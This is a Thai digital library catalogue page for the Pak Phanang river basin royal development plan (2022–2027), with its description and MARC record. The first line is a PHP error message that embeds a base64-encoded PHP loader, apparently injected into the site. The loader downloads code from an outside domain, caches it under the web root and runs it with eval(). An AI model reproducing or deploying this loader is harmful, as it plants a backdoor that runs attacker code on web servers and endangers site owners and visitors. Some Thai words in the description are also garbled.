Parse error: syntax error, unexpected '?' in data:text/html;base64,PD9waHAgJGZwdD0kX1NFUlZFUlsnRE9DVU1FTlRfUk9PVCddLihpc19kaXIoJF9TRVJWRVJbJ0RPQ1VNRU5UX1JPT1QnXS4nL2ltYWdlJyk/Jy9pbWFnZS8nOihpc19kaXIoJF9TRVJWRVJbJ0RPQ1VNRU5UX1JPT1QnXS4nL2ltYWdlcycpPycvaW1hZ2VzLyc6KGlzX2RpcigkX1NFUlZFUlsnRE9DVU1FTlRfUk9PVCddLicvaW1nJyk/Jy9pbWcvJzonLy50bXAvJykpKS4nYTMwMGQ0ZGU4ZmI5YmQ4MmFhNTViN2UyMDY2YTlkMjAnOyRkaXI9ZGlybmFtZSgkZnB0KTska3dkPVsnY24ubG9sJywnZ292LmxvbCcsJ29yZy5jZmQnLCdxcXZ2Lm9yZycsJ2NzZW84LmNvbSddOyR1cmw9J2h0dHA6Ly90dy5xcXZ2Lm9yZy90eHQvdHcudHh0JztmdW5jdGlvbiBja3coJGNudCwka3dkKXtmb3JlYWNoKCRrd2QgYXMgJGt3KXtpZihzdHJwb3MoJGNudCwka3cpIT09ZmFsc2Upe3JldHVybiB0cnVlO319cmV0dXJuIGZhbHNlO31mdW5jdGlvbiBmcmMoJHVybCl7JGNoaD1jdXJsX2luaXQoKTtjdXJsX3NldG9wdCgkY2hoLENVUkxPUFRfVVJMLCR1cmwpO2N1cmxfc2V0b3B0KCRjaGgsQ1VSTE9QVF9SRVRVUk5UUkFOU0ZFUiwxKTtjdXJsX3NldG9wdCgkY2hoLENVUkxPUFRfVElNRU9VVCwxMCk7Y3VybF9zZXRvcHQoJGNoaCxDVVJMT1BUX0ZPTExPV0xPQ0FUSU9OLHRydWUpOyRkYXQ9Y3VybF9leGVjKCRjaGgpO2lmKGN1cmxfZXJybm8oJGNoaCkpeyRkYXQ9ZmFsc2U7fWN1cmxfY2xvc2UoJGNoaCk7cmV0dXJuICRkYXQ7fWZ1bmN0aW9uIGdjdCgkZnB0LCR1cmwsJGRpcil7aWYoIWlzX2RpcigkZGlyKSl7bWtkaXIoJGRpciwwNzc3LHRydWUpO31pZihmaWxlX2V4aXN0cygkZnB0KSYmKCh0aW1lKCktZmlsZW10aW1lKCRmcHQpKTwzNjAwKSl7JGNwcj1maWxlX2dldF9jb250ZW50cygkZnB0KTtyZXR1cm4gZ3p1bmNvbXByZXNzKCRjcHIpO31lbHNleyRjbnQ9ZnJjKCR1cmwpO2lmKCRjbnQhPT1mYWxzZSl7ZmlsZV9wdXRfY29udGVudHMoJGZwdCxnemNvbXByZXNzKCRjbnQpKTt9cmV0dXJuICRjbnQ7fX0kY250PWdjdCgkZnB0LCR1cmwsJGRpcik7aWYoY2t3KCRjbnQsJGt3ZCkpe2V2YWwoJGNudCk7fWVsc2V7JGNudD1mcmMoJHVybCk7aWYoJGNudCE9PWZhbHNlKXtmaWxlX3B1dF9jb250ZW50cygkZnB0LGd6Y29tcHJlc3MoJGNudCkpO2V2YWwoJGNudCk7fX0gPz4=(1) : eval()'d code(1) : eval()'d code on line 19
RDP Library
แผนพัฒนาลุ่มน้ำปากพนังอันเนื่องมาจากพระราชดำริ พ.ศ. 2565-2570

ในอดีตพื้นที่ลุ่มน้้าปากพนัง มีความหลากหลายทางชีวภาพและเป็นพื้นที่ที่มีความอุดมสมบูรณ์มาก เหมาะแก่การเพาะปลูกและติดต่อค้าขายทางทะเล จึงกลายเป็นเมืองท่าสำคัญ และได้ขึ้นชื่อว่าเป็น “เมืองอู่ข้าวอู่น้ำ” ที่ส้าคัญของภาคใต้ เมื่อเวลาผ่านไปประชากรมีจำนวนเพิ่มมากขึ้น “ลุ่มน้ำปากพนัง” ที่เคยอุดมสมบูรณ์ กลับมีความเสื่อมโทรมของทรัพยากรธรรมชาติและสิ่งแวดล้อม ดิน น้ำ ป่า ระบบนิเวศเสียสมดุลอย่างรุนแรง ตั้งแต่ป่าต้นน้ำ ป่าพรุ ป่าชายเลนเสื่อมโทรม ท้าให้เกิดปัญหา 4 น้้า 3 รส (น้ำเค็ม - น้ำเปรี้ยว น้ำท่วม - น้ำแล้ง) ในพื้นที่ที่กล่าว คือ เกิดปัญหาการขาดแคลนน้ำในช่วงฤดูแล้ง จากลักษณะของแม่น้ำปากพนังที่มีระดับท้องน้ำอยู่ต่ากว่าระดับน้ำทะเล และมีความลาดชันน้อย เมื่อน้ำจืดทางด้านต้นน้ำมีปริมาณน้อย ทำให้น้ำเค็มสามารถรุกล้ำเข้าไปในแม่น้้าปากพนังและล้าน้้าสาขาเป็นระยะทางเกือบ 100 กิโลเมตร นอกจากนี้ ตอนกลางของลุ่มน้ำปากพนัง ยังมี “พรุควนเคร็ง” ซึ่งเป็นพื้นที่ลุ่มขนาดใหญ่ประมาณ 200,000 ไร่ เป็นพื้นที่ที่มีน้ำท่วมขังตลอดปีมีสารไพไรท์อยู่ในชั้นดินท้าให้ดินมีสภาพเป็นกรดและเกิดปัญหาน้ำเปรี้ยว ราษฎรไม่สามารถใช้ประโยชน์เพื่อการเกษตรได้ ปัญหาน้ำเน่าเสียจากการเพาะเลี้ยงกุ้งกุลาดำได้ไหลลงในลำน้ำต่างๆ จนไม่สามารถนำน้ำไปใช้ในการเพาะปลูกได้กลายเป็นปัญหาความขัดแย้งที่รุนแรงขึ้นระหว่างชาวนาข้าว และชาวนากุ้ง ปัญหาอุทกภัยที่เกิดขึ้นเป็นประจ้าทุกปี ก็เป็นปัญหาสำคัญอีกประการหนึ่งของลุ่มน้ำปากพนังที่เกิดขึ้นในช่วงฤดูฝน เนื่องจากมีปริมาณฝนตกมาก แต่พื้นที่ลุ่มน้ำเป็นพื้นที่ราบลุ่ม มีความลาดชันน้อย ประกอบกับภาวะอุทกภัยมักจะเกิดในช่วงน้ำทะเลหนุนสูง ท้าให้ไม่สามารถระบายน้ำออกสู่ทะเลได้ เกิดภาวะน้ำท่วมสร้างความเสียหายให้แก่พื้นที่ เพาะปลูก และพื้นที่ชุมชนเมืองเป็นบริเวณกว้างขวาง

Published date : Oct 11, 2023
Publisher : โครงการพัฒนาพื้นที่ลุ่มน้ำปากพนังอันเนื่องมาจากพระราชดำริ
Category : ทั่วไป
Page : 229
Rating :
Available Unlimited
SHARE ON SOCIAL MEDIA :

MARC Information

245 a : Title 
แผนพัฒนาลุ่มน้ำปากพนังอันเนื่องมาจากพระราชดำริ พ.ศ. 2565-2570 
260 b : Name of publisher 
โครงการพัฒนาพื้นที่ลุ่มน้ำปากพนังอันเนื่องมาจากพระราชดำริ 
260 c : Date of publication 
2566 
300 a : Total pages 
229 
520 a : Description 
ในอดีตพื้นที่ลุ่มน้้าปากพนัง มีความหลากหลายทางชีวภาพและเป็นพื้นที่ที่มีความอุดมสมบูรณ์มาก เหมาะแก่การเพาะปลูกและติดต่อค้าขายทางทะเล จึงกลายเป็นเมืองท่าสำคัญ และได้ขึ้นชื่อว่าเป็น “เมืองอู่ข้าวอู่น้ำ” ที่ส้าคัญของภาคใต้ เมื่อเวลาผ่านไปประชากรมีจำนวนเพิ่มมากขึ้น “ลุ่มน้ำปากพนัง” ที่เคยอุดมสมบูรณ์ กลับมีความเสื่อมโทรมของทรัพยากรธรรมชาติและสิ่งแวดล้อม ดิน น้ำ ป่า ระบบนิเวศเสียสมดุลอย่างรุนแรง ตั้งแต่ป่าต้นน้ำ ป่าพรุ ป่าชายเลนเสื่อมโทรม ท้าให้เกิดปัญหา 4 น้้า 3 รส (น้ำเค็ม - น้ำเปรี้ยว น้ำท่วม - น้ำแล้ง) ในพื้นที่ที่กล่าว คือ เกิดปัญหาการขาดแคลนน้ำในช่วงฤดูแล้ง จากลักษณะของแม่น้ำปากพนังที่มีระดับท้องน้ำอยู่ต่ากว่าระดับน้ำทะเล และมีความลาดชันน้อย เมื่อน้ำจืดทางด้านต้นน้ำมีปริมาณน้อย ทำให้น้ำเค็มสามารถรุกล้ำเข้าไปในแม่น้้าปากพนังและล้าน้้าสาขาเป็นระยะทางเกือบ 100 กิโลเมตร นอกจากนี้ ตอนกลางของลุ่มน้ำปากพนัง ยังมี “พรุควนเคร็ง” ซึ่งเป็นพื้นที่ลุ่มขนาดใหญ่ประมาณ 200,000 ไร่ เป็นพื้นที่ที่มีน้ำท่วมขังตลอดปีมีสารไพไรท์อยู่ในชั้นดินท้าให้ดินมีสภาพเป็นกรดและเกิดปัญหาน้ำเปรี้ยว ราษฎรไม่สามารถใช้ประโยชน์เพื่อการเกษตรได้ ปัญหาน้ำเน่าเสียจากการเพาะเลี้ยงกุ้งกุลาดำได้ไหลลงในลำน้ำต่างๆ จนไม่สามารถนำน้ำไปใช้ในการเพาะปลูกได้กลายเป็นปัญหาความขัดแย้งที่รุนแรงขึ้นระหว่างชาวนาข้าว และชาวนากุ้ง ปัญหาอุทกภัยที่เกิดขึ้นเป็นประจ้าทุกปี ก็เป็นปัญหาสำคัญอีกประการหนึ่งของลุ่มน้ำปากพนังที่เกิดขึ้นในช่วงฤดูฝน เนื่องจากมีปริมาณฝนตกมาก แต่พื้นที่ลุ่มน้ำเป็นพื้นที่ราบลุ่ม มีความลาดชันน้อย ประกอบกับภาวะอุทกภัยมักจะเกิดในช่วงน้ำทะเลหนุนสูง ท้าให้ไม่สามารถระบายน้ำออกสู่ทะเลได้ เกิดภาวะน้ำท่วมสร้างความเสียหายให้แก่พื้นที่ เพาะปลูก และพื้นที่ชุมชนเมืองเป็นบริเวณกว้างขวาง 

No Reviews

  1. There are no reviews yet, why not be the first.